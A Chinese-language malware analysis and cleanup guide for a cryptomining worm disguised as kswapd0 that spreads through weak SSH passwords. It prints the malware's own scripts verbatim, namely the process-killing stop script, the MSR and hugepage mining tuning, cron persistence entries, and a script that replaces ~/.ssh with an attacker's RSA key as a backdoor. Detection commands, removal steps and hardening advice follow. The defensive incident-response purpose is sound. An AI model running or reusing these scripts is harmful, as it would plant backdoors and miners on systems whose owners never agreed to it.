挖矿木马分析之肉鸡竟是我自己
字数 1035 2025-08-22 18:37:21

挖矿木马分析与清除实战指南

一、挖矿木马概述

本案例分析的是一种名为WachtdogsMiner的挖矿蠕虫变种,伪装成kswapd0进程利用CPU挖取门罗币(XMR)。该木马具有以下特征:

  1. 通过弱口令爆破入侵服务器
  2. 伪装成系统进程(如kswapd0)隐藏自身
  3. 具有自保护机制,会杀死其他挖矿进程独占资源
  4. 通过cron定时任务实现持久化
  5. 会添加SSH密钥实现后门访问
  6. 针对不同CPU架构(Intel/AMD)进行优化

二、感染迹象检测

1. 系统性能异常

  • CPU占用率持续100%
  • 出现异常的异地登录告警

2. 可疑进程检测

# 查看CPU占用最高的前10个进程
ps auxw|head -1;ps auxw|sort -rn -k3|head -10

# 检查可疑进程(如kswapd0)
ps -ef | grep kswapd0

3. 文件系统异常

  • /root/.configrc/目录及其子目录
  • /tmp/目录下出现异常文件(如.X25-unix)
  • 系统关键目录出现异常文件(如/var/tmp/)

4. 网络连接异常

netstat -antlp | grep ESTABLISHED

三、木马工作机制分析

1. 文件结构

/root/.configrc/
├── a
│   ├── upd          # 更新脚本
│   ├── run          # 主运行脚本
│   ├── stop         # 停止其他挖矿进程
│   ├── init0        # 初始化脚本
│   └── dir.dir      # 记录当前路径
└── b
    ├── a            # 后门安装脚本
    ├── run          # 运行脚本
    ├── stop         # 停止脚本
    ├── sync         # 同步脚本
    └── dir.dir      # 路径记录

2. 核心脚本功能

run脚本

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
if [ "$ARCH" == "i686" ]; then
    nohup ./anacron >>/dev/null &
elif [ "$ARCH" == "x86_64" ]; then
    ./kswapd0
fi
echo $! > bash.pid

stop脚本

杀死其他挖矿进程和竞争对手:

#!/bin/sh
pkill -9 cron
killall -9 cron
kill -9 `ps x|grep cron|grep -v grep|awk '{print $1}'` >.proc
pkill -9 kswapd0
killall -9 kswapd0
[...省略大量类似命令...]

init0脚本

更复杂的进程清理脚本,会:

  1. 按进程名杀死挖矿相关进程
  2. 按CPU使用率杀死高占用进程
  3. 按网络连接杀死特定IP/端口的进程
  4. 清理已知的挖矿木马文件

a/upd脚本

设置CPU优化参数:

sysctl -w vm.nr_hugepages=$(nproc)
for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d); do
    echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages"
done
modprobe msr
# AMD Ryzen优化
if cat /proc/cpuinfo | grep "AMD Ryzen" > /dev/null; then
    wrmsr -a 0xc0011022 0x510000
    wrmsr -a 0xc001102b 0x1808cc16
    wrmsr -a 0xc0011020 0
    wrmsr -a 0xc0011021 0x40
# Intel优化
elif cat /proc/cpuinfo | grep "Intel" > /dev/null; then
    wrmsr -a 0x1a4 6
fi

b/a脚本

安装SSH后门:

#!/bin/sh
cd ~ && rm -rf .ssh && mkdir .ssh && 
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys

3. 持久化机制

通过cron定时任务实现:

1 1 */2 * * /root/.configrc/a/upd >/dev/null 2>&1
@reboot /root/.configrc/a/upd >/dev/null 2>&1
5 8 * * 0 /root/.configrc/b/sync >/dev/null 2>&1
@reboot /root/.configrc/b/sync >/dev/null 2>&1
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude >/dev/null 2>&1

四、完整清除步骤

1. 终止恶意进程

# 查找高CPU进程
ps auxw|head -1;ps auxw|sort -rn -k3|head -10

# 终止恶意进程(如PID 3124)
kill -9 3124

2. 删除木马文件

rm -rf /root/.configrc/

3. 清理定时任务

crontab -r  # 删除所有定时任务
# 或者编辑crontab删除可疑条目
crontab -e

4. 检查并清理SSH密钥

vi ~/.ssh/authorized_keys
# 删除可疑的公钥

5. 检查/tmp目录

ls -la /tmp/
# 删除可疑文件和目录
rm -rf /tmp/.X25-unix/

6. 检查其他用户

cat /etc/passwd
ls -la /home/*

7. 检查网络连接

netstat -antlp
# 记录可疑IP地址

8. 检查登录日志

lastb
grep 'Failed password' /var/log/auth.log

五、防御建议

  1. 强化SSH安全

    • 禁用root远程登录
    • 使用密钥认证替代密码
    • 修改默认SSH端口
    • 安装fail2ban
  2. 系统加固

    • 定期更新系统和软件
    • 设置强密码策略
    • 限制cron使用权限
    • 监控系统资源使用情况
  3. 监控措施

    • 部署入侵检测系统(IDS)
    • 设置文件完整性监控
    • 配置日志集中收集和分析
  4. 应急响应

    • 建立系统快照和备份
    • 准备应急响应预案
    • 保留取证证据

六、攻击者画像

  1. 攻击来源

    • 主要来自荷兰IP
    • 尝试登录IP分布广泛(北京、比利时、哥伦比亚、广东等)
  2. 攻击手法

    • 利用弱口令爆破
    • 使用成熟的挖矿蠕虫变种
    • 通过cron实现持久化
    • 安装SSH后门
  3. 攻击目标

    • 暴露在公网且使用弱口令的Linux服务器
    • 主要目的是挖取门罗币(XMR)

通过本案例的分析,我们可以深入了解挖矿木马的工作机制和清除方法,同时加强服务器的安全防护措施,防止类似攻击的发生。

挖矿木马分析与清除实战指南 一、挖矿木马概述 本案例分析的是一种名为WachtdogsMiner的挖矿蠕虫变种,伪装成 kswapd0 进程利用CPU挖取门罗币(XMR)。该木马具有以下特征: 通过弱口令爆破入侵服务器 伪装成系统进程(如kswapd0)隐藏自身 具有自保护机制,会杀死其他挖矿进程独占资源 通过cron定时任务实现持久化 会添加SSH密钥实现后门访问 针对不同CPU架构(Intel/AMD)进行优化 二、感染迹象检测 1. 系统性能异常 CPU占用率持续100% 出现异常的异地登录告警 2. 可疑进程检测 3. 文件系统异常 /root/.configrc/ 目录及其子目录 /tmp/ 目录下出现异常文件(如.X25-unix) 系统关键目录出现异常文件(如/var/tmp/) 4. 网络连接异常 三、木马工作机制分析 1. 文件结构 2. 核心脚本功能 run脚本 stop脚本 杀死其他挖矿进程和竞争对手: init0脚本 更复杂的进程清理脚本,会: 按进程名杀死挖矿相关进程 按CPU使用率杀死高占用进程 按网络连接杀死特定IP/端口的进程 清理已知的挖矿木马文件 a/upd脚本 设置CPU优化参数: b/a脚本 安装SSH后门: 3. 持久化机制 通过cron定时任务实现: 四、完整清除步骤 1. 终止恶意进程 2. 删除木马文件 3. 清理定时任务 4. 检查并清理SSH密钥 5. 检查/tmp目录 6. 检查其他用户 7. 检查网络连接 8. 检查登录日志 五、防御建议 强化SSH安全 : 禁用root远程登录 使用密钥认证替代密码 修改默认SSH端口 安装fail2ban 系统加固 : 定期更新系统和软件 设置强密码策略 限制cron使用权限 监控系统资源使用情况 监控措施 : 部署入侵检测系统(IDS) 设置文件完整性监控 配置日志集中收集和分析 应急响应 : 建立系统快照和备份 准备应急响应预案 保留取证证据 六、攻击者画像 攻击来源 : 主要来自荷兰IP 尝试登录IP分布广泛(北京、比利时、哥伦比亚、广东等) 攻击手法 : 利用弱口令爆破 使用成熟的挖矿蠕虫变种 通过cron实现持久化 安装SSH后门 攻击目标 : 暴露在公网且使用弱口令的Linux服务器 主要目的是挖取门罗币(XMR) 通过本案例的分析,我们可以深入了解挖矿木马的工作机制和清除方法,同时加强服务器的安全防护措施,防止类似攻击的发生。